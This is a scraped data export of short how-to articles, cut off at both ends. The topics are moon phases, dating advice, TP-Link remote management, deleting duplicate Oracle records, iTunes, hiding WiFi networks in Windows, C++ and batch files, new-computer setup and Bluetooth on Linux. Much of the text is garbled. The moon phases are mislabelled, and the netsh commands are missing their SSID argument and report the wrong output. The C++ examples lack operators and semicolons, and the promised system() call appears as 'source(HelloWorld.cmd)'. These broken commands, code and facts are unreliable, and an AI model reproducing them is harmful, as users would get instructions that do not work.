night.\nHere are the phases of the moon's movement:\nNew Moon- the moon lies between the Earth and the Sun so the faces of the Moon towards us do not receive sunlight and it is only illuminated by the dim light of the sun reflected from the Earth. A few days later, when the Moon moves around the Earth, our faces can see gradually brighter due to sunlight.This thin piece is calleda waxing crescent. One week after the New Moon, the moon moves about 90 degrees from the sun and is half illuminated from the point where we are watching, that we callfirst quarterbecause it's only part of the road rotate around the Earth. A few days later, the illuminated area of ​​the moon continued to rise.More than half of the moon's surface is illuminated.This stage is called thecrescent moon ( waxing gibbous). When the moon has moved 180 degrees from the position of the new moon, the sun, the Earth and the Moon lie in a straight line.The moon's rotating disc can almost be fully illuminated by the sun, so it is called thefull moon phenomenon ( Full Moon). Next, the moon moved more than half of the surface receiving sunlight, but the amount of light fell.This is calledthe end of the month ( waning gibbous). A few days later, the moon has moved a quarter of the distance around the Earth, reaching thethird quarter.The light of the sun now shines to the other half of the moon's surface. The moon then moved tothe waning crescent phase, less than half the surface receiving light and the moon's surface continuing to decrease. Finally, the moon moves to the original starting position.Because the lunar orbit is not entirely in the same plane as the Earth's orbit around the sun, they are rarely aligned.The moon usually lies lower or higher than the sun from the \" key \" point , but sometimes it is right in front of the sun and then appears the eclipse.  The phases of the moon and the difference between an old crescent and a crescent or a defective period.Photo source: Karl Tate, SPACE.com\nEach Full Moon can calculate exactly when it happened - this may or may not be true for the time when the moon appears at where you live. Therefore, Full Moon may be several hours earlier or later than the actual time. Although there are sufficient technical instruments, a conventional telescope will not observe this particular phenomenon. In fact, the moon will look nearly the same for two consecutive nights after the full moon .\nncG1vNJzZmismaXArq3KnmWcp51ks7a4y2akqKeeYrOir9OsZJ%2BtnKF6rrvOp2Syp6ViuqLFjKemrWWbo7y4edieqw%3D%3D\n","link":"/post/full-moon-facts-full-moon-you-may-not-know-yet/","section":"post","tags":null,"title":"Full Moon facts - Full moon you may not know yet"},{"body":" So there's a guy in your life who you think might like you. Of course, you want to learn more so you know what to do next! If you haven't had any serious conversations with the guy, try taking steps to break the ice. Then, work up your...\nMethod 1of 3:\nBreaking the Ice If You Haven't Met  Give the guy a compliment. Everyone likes to hear nice things about themselves, and even if you haven't said much else to him, a compliment can come off as casual if you do it right. Pick something you notice about his outfit, or try complimenting his smarts. Just give him a quick compliment to let him know you've noticed him.[1] For example, you could say, \"Hey, great job answering that question from the teacher! It was a hard one,\" \"That's a cool backpack!\" or \"You have great taste in music!\"   Make a comment about something you have in common. That could be a class you're taking together or just something you see in the room. The goal is to get him talking to you![2] For instance, you could say, \"That test in math was sure hard, wasn't it?\" or \"Hey, it sure is crowded in here, isn't it?\"   Get him to do something small for you. Asking someone for a favor makes them give a little bit of themselves to you. In turn, they tend to like you more. The favor doesn't have to be anything big. It can be as simple as \"Can you pass me the salt, please?\"[3] You could also try \"Would you grab me a napkin?\" or \"Can you keep an eye on my stuff for a second while I go to the bathroom?\"   Buy the guy's coffee for him. If you're going on a coffee run, ask if he wants anything. If you're a little nervous, you could offer coffee to several people. Either way, don't take his money for the coffee, and he'll probably return the favor.[4] It doesn't have to be coffee! It could be a soda, candy, or even something like a magazine.   Quiz the guy about himself. People like talking about themselves, so open a conversation by asking him a question or two. It can be about anything involving him, from a light question to a slightly more serious one.[5] For instance, you could ask, \"Have you studied for that test? It looks hard,\" \"Why are you here this late in the afternoon?\" or \"Where did you get that awesome binder?\"   Talk about yourself, too. If the guy turns the questions on you, be willing to give him some answers. You can't sustain a whole conversation with just questions about him! Answer him honestly, and then give him another question in return.[6] For instance, if he asks you what you like about school, you could say, \"My favorite subject is science! I love doing experiments and predicting the outcome. What's your favorite subject?\" If he asks about your interests, you might say, \"I love reading and going to the movies. I just love getting lost in a story! Painting is also fun. I love art class! What do you like?  Method 2of 3:\nWorking up to Asking the Guy  Make friends first. If you tell a guy you like him out of the blue, it may catch him off guard. Try making friends with him first, by continuing to strike up conversations with him over time. Keep talking to him every time you see him, especially if he seems interested![7] Ask the guy to hang out with you. You don't have to hang out alone with him. Invite him out with a group of your friends, for instance. You could all go to the movies, to the park, or to the coffee shop. Spending time with him helps you get to know each other![8] For example, you might say, \"Hey, we're going to get ice cream this afternoon. Want to come?\"   Show him you like him. Little things can help you say you like the guy. For instance, making eye contact, smiling at him, and touching his arm while talking to him all subtly let him know that you like him as more than a friend! You can also give him compliments, bring him small gifts, or try to cheer him up when he's down.   Gather your confidence. It can be a little scary to tell a guy you like him. That's perfectly normal! Tell yourself that you can do it! Look in the mirror and remind yourself of your good qualities and then give asking him your question a practice run. If you're running low on confidence, try asking your friends to encourage you. It can be good to hear what's good about you from someone else![9]   Remind yourself that, no matter what happens, it's not the end of the world. If you're worried about talking to the guy, think about the possible outcomes. He might say he likes you! Alternatively, he might say he likes you just as a friend. He might even say he doesn't like you. Of course that hurts! But remind yourself, the world won't end. He may not like you but someone will! You just have to be patient.[10] If you don't get the response you're looking for, it's okay to feel a little blue. Try to find a way to cheer yourself up. Go watch a funny movie or hang out with a friend, for instance.  Method 3of 3:\nAsking the Question  Try asking the guy in person if you're feeling brave. Asking the guy in person lets you get it over with quickly. Plus, you'll be able to see what his body language is saying. When you're having a conversation with him, wait for a pause. Then, pluck up the courage and ask him. Be as specific as you can![11] For example, you might say, \"John, I've been meaning to ask you... Do you like me as more than a friend?\" You could also say, \"John, I'm not sure how to say this, so I'll just say it: Do you want to be more than just friends?\"   Text him if you can't bring yourself to do it in person. It can be hard to confess your feelings in person, and in this instance, it's okay to ask him over text. It gives both of you a chance to think about what's being said and make thoughtful responses.[12] For instance, you could write, \"Hi, we've been talking for a while, and I just wanted to ask you, do you like me? As more than a friend?\"   Tell the guy it's okay if he doesn't like you. When you're asking, you can say it's okay either way, whether he likes you or not. You just want to know the truth. That way, it helps him express his feelings honestly.[13] For instance, you might say, \"It's fine if you don't like me back. I completely understand. I just want to clear the air.\"   Confess your own feelings. If you're asking because you like the guy, let him know that. If you're asking because you think things are getting more serious and you want to be friends, tell him that, instead. It's important to be honest about your feelings.[14] For instance, you might say, \"I want to know because I like you.\" On the other hand, you could say, \"I feel like maybe you do like me, which is really nice, but I just want to be friends.\"   Kareem Winters Update 27 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmjoHqiecausGahlmK1pnnLoqKeq12uvLY%3D\n","link":"/post/how-to-ask-a-guy-if-he-likes-you/","section":"post","tags":null,"title":"How to Ask a Guy if He Likes You"},{"body":"This article applies to the following models:\nTL-WR841N, TL-WDR3500, TL-WR543G, TL-WR743ND, TL-WR2543ND, TL-WDR4900, TL-MR3420, TL-WR941ND, TL-WR843N, TL-WR710N, TL-WDR4300, TL-WR541G, TL-WDR4300 WR702N, TL-WR700N, TL-WR841HP, TL-WR1042ND, TL-WDR3600, TL-WR542G, TL-WR842N, TL-WR940N, TL-WR741ND, TL-WR840N, TL-WR840N, TL-WR840N, TL-WR840N, TL-WR840N, TL-WR841ND, TL-WR810N, TL-WR340GD, TL-WR720N, TL-WR843ND, TL-WR842ND, TL-MR3020, TL-MR3220, TL-MR3040.\nStep 1\nOpen the web browser, type one of the following addresses in the search bar:\nhttp://192.168.1.1 or http://192.168.0.1 or http://tplinklogin.net\nThen press enter.\n  \nNote:\nThe LAN IP varies depending on themodel you use.To find the model information, check the sticker on the bottom of the device.\nStep 2\nEnter the username and password on the login page.By default, both boxes are admin .\n  Step 3\nClick on Security, select Remote Management on the left.\nStep 4\nWith the default setting (Port 80 and IP address 0.0.0.0 ), the Remote Management function will be turned off.\nTo enable this function, change the remote management IP address from 0.0.0.0 to the specified authorized remote IP address.\nYou can also change the Web Management port to another port if needed, which is also a security enhancement.\n  Step 5\nClick Save to save the settings.\nTo access the router, you need to enter the Router's WAN IP address into the browser address search bar or the custom port number.For example, if the Router's WAN address is 202.96.12.8 and you use port number 8080 , enter http://202.96.12.8:8080 in the address box in your browser.You will be asked what the router's password is.After entering the password and confirming the success, you will be able to access the Router's web utility.\nNote:\nWhen you use a public IP address specifically as a remote management IP address, you can only connect to this device remotely with the computer using this specific IP address. Entering the remote management IP address 0.0.0.0 means you will not be able to connect to this device remotely. Typing 255.255.255.255 for remote IP address means you can connect to the Router from everywhere via the Internet, this is not recommended and you should be cautious when using it. Ideally, you should change the default login name and password when Remote Management is enabled, especially if you enter IP 255.255.255.255 as the remote management IP address. Click the How do I change the Administrative username and Password section to see how to change the default login name and password. If you want to find out more details about each function and configuration, visit the Download Center to download the device manual of your device.\nSee more:\nRestart the router and modem properly? Why should you restart the router regularly? Some solutions to fix the Wi-Fi router must reset to enter the network Find out IP Router address 192.168.1.254 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7Oqs9SrnGaqlaK8tbGMppinmZeauqa602amp2WkpbmquspmqaitpJq%2F\n","link":"/post/how-to-configure-remote-management-on-tp-link-router/","section":"post","tags":null,"title":"How to configure remote management on TP-Link Router"},{"body":" When working in Oracle, you may find that some of your records have duplicates. You can delete these duplicate rows by identifying them and using its RowID, or row address. Before you begin, you should create a backup table in case you...\nMethod 1of 4:\nIdentifying your Duplicate  Identify the duplicate. In this case, identify the example duplicate, \"Alan.\" Make sure that the records you are trying to delete are actually duplicates by entering the SQL below.\n  Identifying from a column named \"Names.\" In the instance of a column named \"Names,\" you would replace \"column_name\" with Names.\n  Identifying from other columns. If you were trying to identify the duplicate by a different column, for example the age of Alan rather than his name, you would enter \"Ages\" in the place of \"column_name\" and so on. select column_name, count(column_name) from table group by column_name having count (column_name) \u0026gt; 1;   Method 2of 4:\nDeleting a Single Duplicate  Select \"name from names.\" After \"SQL,\" which stands for Standard Query Language, enter \"select name from names.\"\n  Delete all of the rows with the duplicate name. After \"SQL,\" enter \"delete from names where name='Alan';.\" Note that capitalization is important here, so this will delete all of the rows named \"Alan.\" After \"SQL,\" enter \"commit.\"[1]\n  Renter the row without a duplicate. Now that you have deleted all rows with the example name \"Alan,\" you can insert one back by entering \"insert into name values ('Alan');.\" After \"SQL,\" enter \"commit\" to create your new row.\n  See your new list. Once you have completed the above steps, you can check to make sure you no longer have duplicate records by entering \"select * from names.\" SQL \u0026gt; select name from names; NAME ------------------------------ Alan Carrie Tom Alan rows selected. SQL \u0026gt; delete from names where name='Alan'; rows deleted. SQL \u0026gt; commit; Commit complete. SQL \u0026gt; insert into names values ('Alan'); row created. SQL \u0026gt; commit; Commit complete. SQL \u0026gt; select * from names; NAME ------------------------------ Alan Carrie Tom rows selected.   Method 3of 4:\nDeleting Multiple Duplicates  Select the RowID you want to delete. After \"SQL,\" enter \"select rowid, name from names;.\"\n  Delete the duplicate. After \"SQL,\" enter \"delete from names a where rowid \u0026gt; (select min(rowid) from names b where b.name=a.name);\" to delete duplicate records.[2]\n  Check for duplicates. After you have completed the above, commands check to see if you still have duplicate records by entering \"select rowid,name from names;\" and then \"commit.\" SQL \u0026gt; select rowid,name from names; ROWID NAME ------------------ ------------------------------ AABJnsAAGAAAdfOAAA Alan AABJnsAAGAAAdfOAAB Alan AABJnsAAGAAAdfOAAC Carrie AABJnsAAGAAAdfOAAD Tom AABJnsAAGAAAdfOAAF Alan rows selected. SQL \u0026gt; delete from names a where rowid \u0026gt; (select min(rowid) from names b where b.name=a.name ); rows deleted. SQL \u0026gt; select rowid,name from names; ROWID NAME ------------------ ------------------------------ AABJnsAAGAAAdfOAAA Alan AABJnsAAGAAAdfOAAC Carrie AABJnsAAGAAAdfOAAD Tom rows selected. SQL \u0026gt; commit; Commit complete.   Method 4of 4:\nDeleting Rows with Columns  Select your rows. After \"SQL,\" enter \"select * from names;\" to see your rows.\n  Delete duplicate rows by identifying their column. After \"SQL'\" enter \"delete from names a where rowid \u0026gt; (select min(rowid) from names b where b.name=a.name and b.age=a.age);\" to delete the duplicate records.[3]\n  Check for duplicates. Once you have completed the above steps, enter \"select * from names;\" and then \"commit\" in order to check that you have deleted the duplicate records successfully. SQL \u0026gt; select * from names; NAME AGE ------------------------------ ---------- Alan 50 Carrie 51 Tom 52 Alan 50 rows selected. SQL \u0026gt; delete from names a where rowid \u0026gt; (select min(rowid) from names b where b.name=a.name and b.age=a.age ); row deleted. SQL \u0026gt; select * from names; NAME AGE ------------------------------ ---------- Alan 50 Carrie 51 Tom 52 rows selected. SQL \u0026gt; commit; Commit complete.    Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYydrKmkmZiutbGMq5ycp6KZwG61zWamq5mTobI%3D\n","link":"/post/how-to-delete-duplicate-records-in-oracle/","section":"post","tags":null,"title":"How to Delete Duplicate Records in Oracle"},{"body":" This wikiHow teaches you how to remove movies from your iTunes library on a computer, iPhone, or iPad. If you downloaded a movie (or if it's one you didn't get from iTunes), you can also delete it from your device. Open iTunes on your...\nMethod 1of 2:\nUsing a Computer  Open iTunes on your computer. If you're using Windows, you'll usually find it on the desktop or in the All Apps section of the Start menu. If you're using a Mac, look for the music note icon on the Dock or in the Launchpad.\n  Select Movies from the drop-down menu. It's at the top-left corner of iTunes and is usually set to 'Music' by default. This opens your movie library.\n  Locate the movie you want to remove. You can filter the list using the links in the left column (e.g. Recently Added, Home Movies, Downloaded).\n  Right-click the movie. A context menu will appear.\n  Click Delete from Library. It's at the bottom of the menu. A confirmation message will appear. If it's a movie you downloaded, you can click Remove download to delete the movie from your computer instead. If it's a 'home movie' (movies added to iTunes that weren't purchased from the iTunes store), you can select Delete Video to remove it from iTunes. This also removes it from other devices connected to this account.   Click Hide Movie. The movie is now removed from your iTunes library.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYympq%2Bhlah6p77OpmSirKWjsrQ%3D\n","link":"/post/how-to-delete-movies-from-itunes/","section":"post","tags":null,"title":"How to Delete Movies from iTunes"},{"body":"WiFi is quite popular today. Wherever you are, there are many overlapping WiFi networks. To view available WiFi networks, all you have to do is open the network menu, by clicking the Network icon on the taskbar.\nWindows allows you to hide any WiFi network you don't want to see in the network menu. Here is how you can do it in Windows 10.\nFind the WiFi SSID name To hide WiFi network, you need to know its SSID name. Put simply, SSID is the name of the WiFi network.\nTo find the SSID name of WiFi network, click on the network icon on the taskbar and you will see all available WiFi networks, along with their names. Note the SSID of the WiFi network you want to hide.\nFind the WiFi SSID name Steps to hide WiFi network in Windows 10 1. Open the Start menu .\n2. Open Command Prompt with admin rights.\n3. In the Command Prompt window , execute the command below. Don't forget to replace \"WIFI_NAME\" with the SSID you found earlier.\nnetsh wlan add filter permission=block ss networktype=infrastructure As soon as you execute the command, Windows will hide the network. You will see the message \"The filter is added on the system successfully\" .\nYou will see the message \"The filter is added on the system successfully\" From now on, you will no longer see that WiFi network in the network menu.\nUnhide WiFi network in Windows 10 If you want to unhide the previously hidden WiFi network, simply replace \"add\" in the above command with \"delete\". After replacement, the command will look like below. Again, replace WIFI_NAME with the actual WiFi SSID.\nnetsh wlan delete filter permission=block ss networktype=infrastructure When you unhide, the Command Prompt will display a \"The filter is added on the system successfully\" response .\nThe Command Prompt will display the response \"The filter is added on the system successfully\" View all blocked WiFi networks and allowed in Windows 10 Not everyone can remember the previously hidden WiFi SSID. This is especially true if you have been blocking a WiFi network for a long time. For such situations, Windows has a pretty neat command.\nJust execute the command below in Command Prompt and it will show all WiFi networks that you have blocked or allowed.\nnetsh wlan show filters If you've hidden a WiFi network before, you'll see that WiFi name in the block list.\nView all blocked WiFi networks and allowed in Windows 10ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuw8ifoGamlanEsL7KZqCnZaeeu6W71qxkamg%3D\n","link":"/post/how-to-hide-wifi-network-in-windows-10/","section":"post","tags":null,"title":"How to hide WiFi network in Windows 10"},{"body":" C++ is a mid-level programming language—it easy to write and it runs very quickly. As a result, it is widely used to develop games, business apps, and software, such as Google Chrome and Microsoft Office Suite.https://www.youtube.com/wat...\nMethod 1of 4:\nGetting Started with C++  Introduce yourself to C++ language. C++ is related to C programming language. Unlike its predecessor, C++ is an object-oriented programming language. The object is the primary unit of this language—every object has specific properties, functions, and methods.[2]\n  Download and install a compiler. In order to create viable programs with C++, you will need to download and install a compiler. Compilers transform your code into operational programs. There are free compilers available for Windows, Mac, and Linux users. Windows: Code::Blocks Mac: Xcode Linux: g++.   Find useful introductory resources and tutorials. Learning C++ is equivalent to learning a foreign language. Books, courses, and tutorials will help you establish a foundational understanding of this programming language. You will find a variety of free and purchasable resources online. Consult a comprehensive list of books and guides.[3] Enroll in a C++ programming course. You may find courses at your local college, library, adult education center, and/or online. You could even join a MOOC (Massive Open Online Course). Complete a step-by-step tutorial. You can work your way through free tutorials or subscribe to a tutorial service, like Khan Academy or Lynda.[4]  Method 3of 4:\nExploring Batch Files  Understand batch files. Batch files are exclusive to Windows—the Mac counterpart is a bash file. Batch files contain a one or more commands that are executed in sequence by a command line interpreter. These files are used to simplify basic and/or repetitive jobs such as opening multiple programs, deleting files, and backing up files.[8] You may incorporate batch files into your C++ programs.[9]\n  Create a batch file. Batch files are simple text files. You may create your batch files with Window's text editor, Notepad.exe. Click Start and type 'notepad' into the search bar, and select 'Notepad' from the results.[10]\n  Save the file. Click File \u0026gt; Save. Rename your file 'HelloWorld.cmd.' Change the 'Save as type' to 'All Files (*,*).' If you are using a modern version of Windows, use the extension .cmd. If you are using an older system, use the extension .bat.[11]   Code a 'Hello world' batch file. In the text editor, enter in the following lines of code:[12] @echo Hello world. @pause    Understand '@echo.' In batch, commands are echoed, or displayed, on the output screen by default. When a program runs, you will see the command and its output. Preceding this command with an \"@\" turns off echoing for a specific line. When the program runs, you will only see \"Hello world.\"[13] You can turn of all echoing with the command '@echo OFF.' If you use this command, you can rewrite the program as: @echo Off echo Hello world. pause     Understand '@pause.' This command tells the command line processor to pause until the user presses a key on the keyboard.[14]\n  Run your batch file. The fastest way to run your batch file is to simply double-click on the file. When you double-click on the file, the batch file is sent to the DOS command line processor. A new window will open and your batch file will close. Once the user presses a key to continue, the program will end and the window will close.[15]\n Method 4of 4:\nApplying Your New Knowledge  Incorporate functions into your code. A function is a group of statements, or instructions, that perform a specific task. Each function is assigned a type, a name, parameter(s), and statements. You will use the C++ function 'system' to run a batch file. To explore functions, try coding this program: // function example #include iostream\u0026gt; Using namespace std; int addition (int a, int b) { int r; r=a+b return r; } int main ( ) { int z; z = addition (5,3); cout 'The result is ' z; }  This program contains two functions: ''addition'' and ''main''. The compiler will always call '''main'' first—in this program it will call the variable 'z' of type 'int''. The call will pass along two values, 5 and 3, to the ''addition'' function. These values correspond to the parameters declared by the 'addition' function—'int a, int b'. Inside the 'addition' function, there is a third variable: '(int r)', that is directly related to the expression r=a+b. The two values from the 'main' function, 5 and 3, will be added together to equal 'r.' In this instance, r equals 8. The final statement, 'return r;' ends the 'addition' function and returns control to the 'main' function. Since 'return' has a variable, 'r,' the call to return to 'main' is evaluated as a specific value and sends this variable to the 'main' function. The 'main' function resumes where it left off when it was called to 'addition': 'cout [16]   Experiment with flow control statements. Statements are individual instructions that are always executed in sequential order. C++ programs, however, are not limited to linear sequences. You may incorporate flow control statements to alter the path of your program. The 'while loop' statement is a common flow control statement—it tells the program to execute a statement a specific number of times or while the condition is fulfilled. // custom countdown using while #include iostream\u0026gt; using namespace std; int main () { int n = 10; while (n\u0026gt;0) { cout n \", \"; --n; } cout \"liftoff!n\"; }  'int n= 10': This line of code sets the variable 'n' to 10. 10 is the first number in the countdown. 'while (n\u0026gt;0)': The loop will continue as long as the value of 'n' is greater than 0. If the condition is true, the program executes the the following code: 'cout 'cout [17]   Run a batch file with C++. When you run a batch file with your C++ program, you will use the 'system ( )' function. The 'system' function tells the command line processor to execute a command. Enter the batch file's name within the parentheses of the 'system ( )' function.[18] source(HelloWorld.cmd)    Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiipLSzrcxmoKdlk2Kur7CMm5itm5g%3D\n","link":"/post/how-to-program-in-c-and-batch/","section":"post","tags":null,"title":"How to Program in C++ and Batch"},{"body":" Just ordered a shiny new computer? Whether you're setting up a Windows desktop, a Mac or MacBook, or a Windows laptop, there are a few things you'll need to take care of before you start surfing the internet or playing your new games....\nMethod 1of 3:\nSetting up a Windows Desktop  Unpack your components. Depending on where you purchased your computer and what options you selected, you may or may not have the following items: CPU tower - This may be all you have if you just purchased a tower. If that's the case, you will need to obtain a monitor, mouse, and keyboard before you can use the computer. Monitor - Not all computers come with a monitor. If you're upgrading your computer, you can usually use your old monitor. Mouse and keyboard - Most complete systems come packed with both of these, though you may want to consider upgrading for higher-quality peripherals with better ergonomics Speakers - These are sometimes built into monitor, and are not always included. Printer - Some systems come packaged with a printer, though typically this is purchased separately.   Place the tower. Place your CPU tower near its intended location with enough room for all of the fans to move air. Towers typically have fans on the rear of the case, and sometimes have fans on the sides, front, and top. Avoid placing the tower between sets of drawers or inside of a cabinet. If you are using your computer as a home theater PC, make sure that its spot in the home theater cabinet has plenty of air on all sides, and that the cabinet is not enclosed.\n  Connect the monitor to the tower. Plug the monitor or TV into one of the monitor ports on the back of the tower. Most modern computers have an HDMI port, which is the easiest to connect. Monitors typically use DVI or HDMI connections, but some older ones use VGA. The monitor will also need to be plugged into a power outlet. If you have a dedicated graphics card, ensure that your monitor is connected to the graphics card and not the motherboard. You will not be able to take advantage of the graphics card unless the monitor is attached to it. The monitor ports for your dedicated card will be located lower on the back of the tower.   Plug in the mouse and keyboard. Virtually all mice and keyboards plug in via USB. If you are setting up an exceptionally old PC, you may need to connect the mouse and keyboard via the PS/2 connectors. These are typically located at the top of the back of the tower, and are color coded to match the keyboard and mouse plugs.\n  Connect any speakers. Plug your speakers into the back of the computer using the color codes as guides. Ensure that all the channels are placed on the correct sides, and that the speakers are plugged into an outlet if necessary. See this guide for more details on setting up computer speakers.   Plug the tower into an outlet. If you can, plug it into a surge protector or uninterruptible power supply (UPS). This will help protect the computer in the event of a power surge or power loss. You may need to flip the switch on the power supply to ON. The switch is usually located near the power cable.   Turn on the computer. Press the Power button on the front of the computer to turn it on. If you bought the computer with an operating system such as Windows or Linux preinstalled, you will be guided through the first-time setup process for the operating system. Follow the prompts on the screen to enter your location and create your user account. If your computer did not come with an operating system preinstalled (this is rare), you will need to install it yourself. See this guide for details on installing Windows.   Connect to a network. Before you can download any programs or start using the internet, you will need to connect your computer to a network. You can either connect wirelessly if you computer has a wireless network card, or you can connect to your router or modem via Ethernet. See this guide for details on setting up a wireless connection. If you want to connect via Ethernet, connect the Ethernet cable to your computer and to your router or modem. You won't need to perform any additional setup. See this guide for details.   Download any updates. Chances are that your installed operating system and programs have been updated since the computer was built. You may be prompted to download and install updates, which is essential for keeping your computer secure and stable. See this guide for details on installing the latest Windows updates. You may be prompted to restart your computer to complete the update process.   Install your essential programs. Now that you are connected to the internet and Windows has been updated, you can start installing your essential programs. If you're upgrading computers, don't just install all the old programs you used to have installed. Instead, take some time to evaluate what you really need. Only installing the essentials will help keep your computer running smoother. Antivirus - This should be the first program that you install, no matter what. An antivirus helps protect your computer against malware and other malicious software, and is essential if your computer is connected to the internet. See this guide for details on installing antivirus software. Favorite browser - Windows comes installed with Internet Explorer, but many people prefer other browsers. There are a variety to choose from, including Chrome, Firefox, and Opera. Word processor/productivity - Most people use their computers as a home office, which includes installing a word processor and possibly a spreadsheet program. Microsoft Office is designed to integrate into Windows, and you may have a trial already installed on your computer. Games - Everyone likes to relax once in a while, so consider installing a game or two! Windows supports the most games out of any operating system, and there are countless ways you can find and purchase them. Some of the most popular storefronts include Steam, GOG, Origin, and Desura.   Personalize the computer. Once all the boring stuff is out of the way, you can start making your new computer yours. You can change your desktop background, install new cursors, change the fonts, or even completely change the way Windows is organized using special software. See this guide for details on completely customizing your Windows desktop.  Method 2of 3:\nSetting up a Mac Desktop or MacBook  Unpack and connect your components. Most Mac desktops are self-contained units that include everything within the monitor. You will simply need to plug the monitor unit to the power outlet, and connect the mouse and keyboard to the monitor via USB.\n  MacBooks just need to be plugged in to charge the battery. It can be turned on any time if it is plugged in.\n  Power on the Mac. You will be guided through the Setup Assistant process, which will configure your Mac for first-time use. Follow the instructions on each screen to set your location and language settings and create a new account.\n  Migrate your old files. If you used a Mac before, you can use Setup Assistant to migrate your files and settings over. You can migrate virtually anything over, using a wireless connection, USB, Ethernet, or FireWire. In general, it is recommended that you only transfer your essential files. Any apps you used should be reinstalled. This will lead to better performance, as you won't migrate anything over that slowing down your previous system.   Connect to a network. Before you can download any updates or apps, you will need to connect to a network. Most Macs have WiFi built in, allowing you to connect to your home, school, or office wireless network. Some Macs also have Ethernet ports which allow you to connect directly to a modem or router using an Ethernet cable See this guide for detailed instructions on connecting to a wireless network. If you are connecting via Ethernet, simply connect the Ethernet cable to the Ethernet port on the back of your Mac, and then connect the other end to an available port on the router. Your Mac will do the rest.   Update OS X. After connecting to a network, the first thing you should do is make sure that all the latest updates are installed. Chances are that updates to Mac OS X and your preinstalled programs have been released since the time your Mac was packaged, so be sure to grab all the available updates before diving in. To check for and install any updates, click the Apple menu and select \"Software Update\". After the program takes a moment to check for available updates, you will be provided a list. Confirm that you want to install the updates. You may need to restart your Mac during the update process.   Install your essential apps. Now that your Mac is connected and updated, you can start installing the apps you need on a daily basis. Installing apps is simple on a Mac. Open the DMG file that you download, and then drag the application file into the Applications folder. Productivity/Organizational - Mac has a host of productivity and organizational software available. Everything from day planners to full office suites can be found on the Mac Store. Microsoft has a version of Office available for Mac as well, and Apple has its own office suite in Pages and Numbers. Browser - Your Mac comes with Safari installed, but you can install other browsers if you prefer. Chrome allows you to sync your browser settings across any device you use it on, making it great if you have multiple computers with different operating systems. Firefox is another popular option, and both are free. Multimedia - Macs are known for their multimedia capabilities, so consider installing some good multimedia apps. VLC player is an essential video player, and there are tons of music, video, and image editing programs available. Games - More and more games are making their way over to OS X as time goes by. Steam is now a very popular and easy way to access a variety of Mac games, and there are lots to choose from on the Mac Store as well. Utilities - Macs allow you to have a lot of control over the system, and there are many utilities that can make your life a little easier. From storage management to system automation, there is a lot to choose from.   Customize your desktop. You can change your desktop wallpaper to make your computer more personal. There is also software, such as DockMod, that allows you to customize the Dock, while programs like Desktop Groups allow you to organize the icons cluttering up your desktop. You can use the Dashboard to add widgets to OS X. These are tools that you can quickly access without having to start a program. To access the Dashboard, click the Dashboard icon in the dock. Add widgets by clicking the \"+\" button in the lower-left corner of the Dashboard, and then clicking \"More Widgets...\". This will open the Widgets download page where you can browse through all the available widgets.  Method 3of 3:\nSetting up a Windows Laptop  Unpack your components. Your laptop should come with a power cable and a battery. Some laptops may have the battery already installed, while other will need to have the battery inserted after you unpack it.\n  Plug in the laptop and power it on. Most laptops don't have a full charge when you receive them. You may want to let the battery charge completely before turning it on for the first time, but you can plug it in and turn it on anytime.\n  Connect to a network. Before you can download any programs or start using the internet, you will need to connect your computer to a network. Most laptops connect wirelessly, though some laptops will have an Ethernet port that allows you to connect via Ethernet cable. See this guide for details on setting up a wireless connection. If your laptop doesn't have an Ethernet port but you want to connect via Ethernet cable, you can use a USB Ethernet adapter. Plug the USB adapter into a USB port on your laptop and it will be automatically installed.   Download any updates. Chances are that your installed operating system and programs have been updated since the computer was built. You may be prompted to download and install updates, which is essential for keeping your computer secure and stable. See this guide for details on installing the latest Windows updates. You may be prompted to restart your computer to complete the update process.   Install your essential programs. Now that you are connected to the internet and Windows has been updated, you can start installing your essential programs. If you're upgrading computers, don't just install all the old programs you used to have installed. Instead, take some time to evaluate what you really need. Only installing the essentials will help keep your computer running smoother. Antivirus - This should be the first program that you install, no matter what. An antivirus helps protect your computer against malware and other malicious software, and is essential if your computer is connected to the internet. See this guide for details on installing antivirus software. Favorite browser - Windows comes installed with Internet Explorer, but many people prefer other browsers. There are a variety to choose from, including Chrome, Firefox, and Opera. Word processor/productivity - Laptops are great for doing work on the go, so you'll want to install a word processor and maybe a spreadsheet program. Microsoft Office is designed to integrate into Windows, and you may have a trial already installed on your computer. Games - Everyone likes to relax once in a while, so consider installing a game or two! Laptops aren't typically as powerful as desktops, so you may have difficulties running some of the more graphically-intensive games at their highest settings. This certainly isn't true for every laptop though, as some dedicated gaming laptops can keep up with the high-end desktops. Some of the most popular storefronts for games include Steam, GOG, Origin, and Desura.   Personalize the computer. Once all the boring stuff is out of the way, you can start making your new computer yours. You can change your desktop background, install new cursors, change the fonts, or even completely change the way Windows is organized using special software. See this guide for details on completely customizing your Windows desktop.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZKedp2KwsLnPrqueqg%3D%3D\n","link":"/post/how-to-set-up-a-new-computer/","section":"post","tags":null,"title":"How to Set Up a New Computer"},{"body":"With the growing popularity of Bluetooth peripherals such as mice, keyboards, and headsets, it can sometimes be difficult to imagine using the wired version of these devices.\nOn some Linux distributions, Bluetooth is set up perfectly for you right away. Distributions like Ubuntu and Elementary make it easy to set up and make Bluetooth work on your machine.\nHowever, other distributions like Fedora and Arch Linux do require you to do some setup before you can fully enjoy the benefits of Bluetooth on board. Here is how you can set up Bluetooth in Linux.\nHow to set up Bluetooth on Linux machine The steps will vary slightly between distributions, but the basic steps are the same. If your distribution doesn't have Bluetooth set up, you will first need to install Bluez, which contains a driver stack for the Bluetooth adapter as well as utilities for Bluetooth CLI management.\nAfter installing Bluez, you may need to install a Bluetooth manager. Some desktop environments have a built-in Bluetooth manager. For example, KDE Plasma has a KDE Bluetooth client. GNOME also has a built-in client. If you are using a desktop environment without an integrated client, you can install the Blueman application.\nHow to install Bluez Below are instructions on how to install Bluez on a number of different distributions.\nDebian sudo apt-get install bluez* OpenSUSE With OpenSUSE, you must install Bluez with the Open Build Service.\nFedora sudo dnf install bluez bluez-tools Arch Linux sudo pacman -S bluez bluez-utils   Another package manager Bluez works with all Linux distributions. If you have a package manager other than the distributions above, don't 